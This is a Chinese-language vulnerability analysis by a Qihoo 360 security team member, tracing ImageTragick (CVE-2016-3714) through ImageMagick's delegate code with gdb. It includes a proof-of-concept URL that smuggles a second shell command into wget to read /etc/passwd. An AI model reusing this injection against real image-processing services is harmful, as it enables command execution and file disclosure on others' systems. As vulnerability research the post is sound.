Imagetragick(CVE-2016-3714)漏洞分析

释放双眼,带上耳机,听听看~!
bycyg07@360信息安全部云安全团队(Qihoo360CloudSecurityTeam)一.写在前面在奇虎360这个互联网公司里,每一个突袭而来的漏洞,也意味360信息安全部将对此进行一场肉搏战,现在已经在午夜。对于CVE-2016-3714这个黑魔法漏洞,虽说

by cyg07 @ 360信息安全部云安全团队(Qihoo360 Cloud Security Team)

一. 写在前面

在奇虎360这个互联网公司里,每一个突袭而来的漏洞,也意味360信息安全部将对此进行一场肉搏战,现在已经在午夜。对于CVE-2016-3714这个黑魔法漏洞,虽说看着面上也能看明白这个东西怎么回事,有时候还是走进源码会比较清晰一点,所以这稿子的内容大致是笔者的一个调试过程。

每次修漏洞的时候,还是会想起老领导刘小雄说过的24小时修复原则,估计这个原则会长期伴随着个人在安全道路上。

Hf!

二. 技术分析

“delegate” 委托或者说是代理模式吧,想起了那年拿着GoF13招不停的练,回头想想好像也就用过一次代理模式。

图片1

CVE-2016-3714所在的问题文件是magick/delegat.c,不知道为啥总觉得它的设计很不优雅,姑且作点事后的调侃吧,因为你所看到这篇文章也不优雅。

delegate的实现里主要有个叫 DelegateInfo 的数据结构:

2

这个结构用于存储DelegateMap:

3

注意其中的一个例子(其实这里你就可以看出源码作者是要使用xml、转义字符的高度的可扩展性):

 ”  

 

剩下的我们关心它的两个接口:

1101 MagickExport MagickBooleanType InvokeDelegate(ImageInfo *image_info,

1102   Image *image,const char *decode,const char *encode,ExceptionInfo *exception)

1478 static MagickBooleanType LoadDelegateCache(LinkedListInfo *delegate_cache,

1479   const char *xml,const char *filename,const size_t depth,

1480   ExceptionInfo *exception)

 

LoadDelegateCache会构建出一个delegate表,InvokeDelegate是用于使用delegate这个表。

比如在Load的过程中会对command字段内的value作提前转义:

4

转义后,就可以看到(比较基础吧):

(gdb) p commands

$5 = 0x6450c0 “\”wget\” -q -O \”%o\” \”https:%M\””

 

在 InvokeDelegate 的过程中就开始匹配 delegate的类型,这里使用”HTTPS”作为具体实现来试验,具体测试poc如下:

$gdb ./utilities/.libs/convert ‘https://security_.360.cn”;cat /etc/passwd”‘ 1.jpg

 

在到达InvokeDelegate 时调试结果如下:

1297       }

1298     status=MagickFalse;

1299     command=InterpretImageProperties(image_info,image,commands[i]); //这里再继续转义

1300     if (command != (char *) NULL)

1301       {

1302         /*

1303           Execute delegate.  Here we go.

1304         */

1305         status=ExternalDelegateCommand(delegate_info->spawn,image_info->verbose,

1306           command,(char *) NULL,exception) != 0 ? MagickTrue : MagickFalse;

1307         if (delegate_info->spawn != MagickFalse)

1308           {

1309             ssize_t

1310               count;

 

 

(gdb) p command

$26 = 0x6537c0 “\”wget\” -q -O \”/tmp/magick-28319ICbZUTH3xNQK\” \”https://security_.360.cn\”;cat /etc/passwd\”\””

在这里已经拼接出来最终要执行的代码了。其中比较有趣的也就是 InterpretImageProperties,里头实际上就是对 %0 和%M作转义(见magick/property.c):

5

6

最后,提供一份进程启动流程图:

7

三. 写在最后

写到这里,其实只是想表达360的内部信息安全漏洞管控是一场无休止的战斗,共勉!

给TA买糖
共{{data.count}}人
人已赞赏
网络安全

利用Office宏及Powershell的针对性攻击样本分析

2016-6-24 1:25:00

网络安全

解包分析攻击越南机场和其它组织机构的间谍程序

2016-9-29 4:26:48

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索